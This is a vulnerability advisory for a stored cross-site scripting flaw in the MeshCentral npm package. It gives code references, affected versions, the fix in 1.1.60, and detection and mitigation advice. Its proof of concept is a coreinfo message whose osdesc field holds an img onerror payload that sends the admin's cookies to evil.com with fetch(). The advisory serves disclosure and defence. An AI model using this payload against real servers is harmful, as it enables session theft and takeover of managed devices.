GHSA-c7hr-448w-65px — meshcentral
HIGHGHSA-c7hr-448w-65px is a high-severity (CVSS 8.3) vulnerability in meshcentral. A fix is available for meshcentral — see the affected versions and patch details below.
MeshCentral has unsanitized data fields
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
meshcentralnpmDescription
Description
A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.
Technical Details
// meshagent.js:1903 -- Agent input, only type check
if (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;
change = 1; }
// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()
if (node.osdesc) { x += addDeviceAttribute("Operating System", node.osdesc); }
// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML
// INCONSISTENCY: Same field IS escaped elsewhere:
// Line 13529: addDetailItem("Version", EscapeHtml(node.osdesc), s)
// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')
Additional unescaped agent fields:
- node.name unescaped in sharing dialog (line 4695), user group list (line 18625), permission dialogs (lines 18675, 19413) -- HIGH
- cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM
- volumes[].name unescaped in file browser (line 12612) -- MEDIUM
No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.
Proof of Concept
Rogue agent sends via WebSocket:
{
"action": "coreinfo",
"osdesc": "<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>",
"name": "Legit-PC"
}
Payload fires when any admin views the device details panel. No click required.
<img width="939" height="587" alt="image" src="https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1" />Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | meshcentral | all versions | 1.1.60npm install meshcentral@1.1.60 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for meshcentral, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update meshcentral to 1.1.60 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c7hr-448w-65px is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is GHSA-c7hr-448w-65px in your dependencies?
Find it across npm, including transitive dependencies.